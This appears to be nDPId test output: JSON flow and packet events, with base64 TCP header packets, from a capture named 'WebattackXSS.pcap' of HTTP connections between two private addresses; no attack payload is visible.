+00444{"flow_id":538,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7607,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347882,"pkt_ts_usec":404247,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8eWdAAD4GTGmsEAABwKgKMoOYAFA4phxRAAAAAKACchAfsgAAAgQFtAQCCAoBPGU2AAAAAAEDAwc="} +00444{"flow_id":538,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7608,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347882,"pkt_ts_usec":404320,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQg5hCgWTIOKYcUqAScSA+twAAAgQFtAQCCAoD5jaqATxlNgEDAwc="} +00432{"flow_id":538,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7609,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347882,"pkt_ts_usec":404971,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eWhAAD4GTHCsEAABwKgKMoOYAFA4phxSQoFkyYAQAOXdvgAAAQEICgE8ZTYD5jaq"} +00432{"flow_id":535,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7612,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347882,"pkt_ts_usec":868292,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0t4pAAD4GDk6sEAABwKgKMoNiAFCEB9exP6Np2oARAOXZiQAAAQEICgE8ZaoD5jGs"} +00433{"flow_id":535,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7613,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347882,"pkt_ts_usec":868510,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0XsRAAEAGZRTAqAoyrBAAAQBQg2I\/o2nahAfXsoARAOPUGAAAAQEICgPmNx4BPGWq"} +00432{"flow_id":535,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7614,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347882,"pkt_ts_usec":869245,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0t4tAAD4GDk2sEAABwKgKMoNiAFCEB9eyP6Np24AQAOXUFgAAAQEICgE8ZaoD5jce"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7618,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":539,"flow_packet_id":1,"flow_first_seen":1499347883693,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33702,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":539,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7618,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347883,"pkt_ts_usec":693194,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8WYNAAD4GbE2sEAABwKgKMoOmAFDBWz\/7AAAAAKACchByAgAAAgQFtAQCCAoBPGZ4AAAAAAEDAwc="} +00447{"flow_id":539,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7619,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347883,"pkt_ts_usec":693320,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQg6YJ\/gJMwVs\/\/KAScSAqxQAAAgQFtAQCCAoD5jfsATxmeAEDAwc="} +00433{"flow_id":539,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7620,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347883,"pkt_ts_usec":694064,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0WYRAAD4GbFSsEAABwKgKMoOmAFDBWz\/8Cf4CTYAQAOXJzAAAAQEICgE8ZngD5jfs"} +00432{"flow_id":536,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7624,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347883,"pkt_ts_usec":868448,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UN5AAD4GdPqsEAABwKgKMoNwAFDv6DGs5tYqg4ARAOWpigAAAQEICgE8ZqQD5jLr"} +00432{"flow_id":536,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7625,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347883,"pkt_ts_usec":868624,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0EptAAEAGsT3AqAoyrBAAAQBQg3Dm1iqD7+gxrYARAOOkXgAAAQEICgPmOBgBPGak"} +00432{"flow_id":536,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7626,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347883,"pkt_ts_usec":869379,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UN9AAD4GdPmsEAABwKgKMoNwAFDv6DGt5tYqhIAQAOWkXAAAAQEICgE8ZqQD5jgY"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7633,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":496,"flow_packet_id":6,"flow_first_seen":1499347810243,"flow_last_seen":1499347815843,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32932,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7633,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":496,"flow_packet_id":6,"flow_first_seen":1499347810243,"flow_last_seen":1499347815843,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32932,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7633,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":497,"flow_packet_id":6,"flow_first_seen":1499347811525,"flow_last_seen":1499347816843,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32946,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7633,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":497,"flow_packet_id":6,"flow_first_seen":1499347811525,"flow_last_seen":1499347816843,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32946,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7633,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":498,"flow_packet_id":6,"flow_first_seen":1499347812797,"flow_last_seen":1499347817844,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32960,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7633,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":498,"flow_packet_id":6,"flow_first_seen":1499347812797,"flow_last_seen":1499347817844,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32960,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7633,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":499,"flow_packet_id":6,"flow_first_seen":1499347814066,"flow_last_seen":1499347819845,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32974,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7633,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":499,"flow_packet_id":6,"flow_first_seen":1499347814066,"flow_last_seen":1499347819845,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32974,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7633,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":500,"flow_packet_id":6,"flow_first_seen":1499347815351,"flow_last_seen":1499347820846,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32988,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7633,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":500,"flow_packet_id":6,"flow_first_seen":1499347815351,"flow_last_seen":1499347820846,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32988,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7633,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":501,"flow_packet_id":6,"flow_first_seen":1499347816657,"flow_last_seen":1499347821846,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33002,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7633,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":501,"flow_packet_id":6,"flow_first_seen":1499347816657,"flow_last_seen":1499347821846,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33002,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7633,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":502,"flow_packet_id":6,"flow_first_seen":1499347819250,"flow_last_seen":1499347824846,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33028,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7633,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":502,"flow_packet_id":6,"flow_first_seen":1499347819250,"flow_last_seen":1499347824846,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33028,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7633,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":503,"flow_packet_id":6,"flow_first_seen":1499347820510,"flow_last_seen":1499347825848,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33042,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7633,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":503,"flow_packet_id":6,"flow_first_seen":1499347820510,"flow_last_seen":1499347825848,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33042,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7636,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":540,"flow_packet_id":1,"flow_first_seen":1499347886296,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33728,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":540,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7636,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347886,"pkt_ts_usec":296186,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8J3NAAD4Gnl2sEAABwKgKMoPAAFDfgE5wAAAAAKACchBCwwAAAgQFtAQCCAoBPGkDAAAAAAEDAwc="} +00444{"flow_id":540,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7637,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347886,"pkt_ts_usec":296327,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQg8DWbqB034BOcaAScSCOYQAAAgQFtAQCCAoD5jp3ATxpAwEDAwc="} +00432{"flow_id":540,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7638,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347886,"pkt_ts_usec":297096,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0J3RAAD4GnmSsEAABwKgKMoPAAFDfgE5x1m6gdYAQAOUtaQAAAQEICgE8aQMD5jp3"} +00432{"flow_id":537,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7642,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347886,"pkt_ts_usec":869005,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00HpAAD4G9V2sEAABwKgKMoOKAFDzHbODTx2TJoARAOVOCQAAAQEICgE8aZID5jVu"} +00432{"flow_id":537,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7643,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347886,"pkt_ts_usec":869225,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0qCBAAEAGG7jAqAoyrBAAAQBQg4pPHZMm8x2zhIARAONIcgAAAQEICgPmOwYBPGmS"} +00432{"flow_id":537,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7644,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347886,"pkt_ts_usec":869945,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00HtAAD4G9VysEAABwKgKMoOKAFDzHbOETx2TJ4AQAOVIcAAAAQEICgE8aZID5jsG"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7648,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":541,"flow_packet_id":1,"flow_first_seen":1499347887572,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33742,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":541,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7648,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347887,"pkt_ts_usec":572167,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8vidAAD4GB6msEAABwKgKMoPOAFDy3tRlAAAAAKACchCoIgAAAgQFtAQCCAoBPGpCAAAAAAEDAwc="} +00444{"flow_id":541,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7649,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347887,"pkt_ts_usec":572323,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQg85IicNz8t7UZqAScSBdaAAAAgQFtAQCCAoD5ju2ATxqQgEDAwc="} +00432{"flow_id":541,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7650,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347887,"pkt_ts_usec":572856,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vihAAD4GB7CsEAABwKgKMoPOAFDy3tRmSInDdIAQAOX8bwAAAQEICgE8akID5ju2"} +00432{"flow_id":538,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7654,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347887,"pkt_ts_usec":869567,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eWlAAD4GTG+sEAABwKgKMoOYAFA4phxSQoFkyYARAOXYZwAAAQEICgE8aowD5jaq"} +00433{"flow_id":538,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7655,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347887,"pkt_ts_usec":869799,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0WMlAAEAGaw\/AqAoyrBAAAQBQg5hCgWTJOKYcU4ARAOPTEgAAAQEICgPmPAABPGqM"} +00432{"flow_id":538,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7656,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347887,"pkt_ts_usec":870347,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eWpAAD4GTG6sEAABwKgKMoOYAFA4phxTQoFkyoAQAOXTEAAAAQEICgE8aowD5jwA"} +00433{"flow_id":539,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7660,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347888,"pkt_ts_usec":869681,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0WYVAAD4GbFOsEAABwKgKMoOmAFDBWz\/8Cf4CTYARAOXEvQAAAQEICgE8a4YD5jfs"} +00436{"flow_id":539,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7661,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347888,"pkt_ts_usec":869898,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0PrdAAEAGhSHAqAoyrBAAAQBQg6YJ\/gJNwVs\/\/YARAOO\/sAAAAQEICgPmPPoBPGuG"} +00434{"flow_id":539,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7662,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347888,"pkt_ts_usec":870478,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0WYZAAD4GbFKsEAABwKgKMoOmAFDBWz\/9Cf4CToAQAOW\/rgAAAQEICgE8a4YD5jz6"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7669,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":542,"flow_packet_id":1,"flow_first_seen":1499347890192,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33768,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":542,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7669,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347890,"pkt_ts_usec":192783,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8gVNAAD4GRH2sEAABwKgKMoPoAFBPU+2CAAAAAKACchAv6AAAAgQFtAQCCAoBPGzRAAAAAAEDAwc="} +00445{"flow_id":542,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7670,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347890,"pkt_ts_usec":192938,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQg+hXA92bT1Ptg6AScSC5\/AAAAgQFtAQCCAoD5j5FATxs0QEDAwc="} +00432{"flow_id":542,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7671,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347890,"pkt_ts_usec":193656,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gVRAAD4GRISsEAABwKgKMoPoAFBPU+2DVwPdnIAQAOVZBAAAAQEICgE8bNED5j5F"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7679,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":543,"flow_packet_id":1,"flow_first_seen":1499347891536,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33782,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 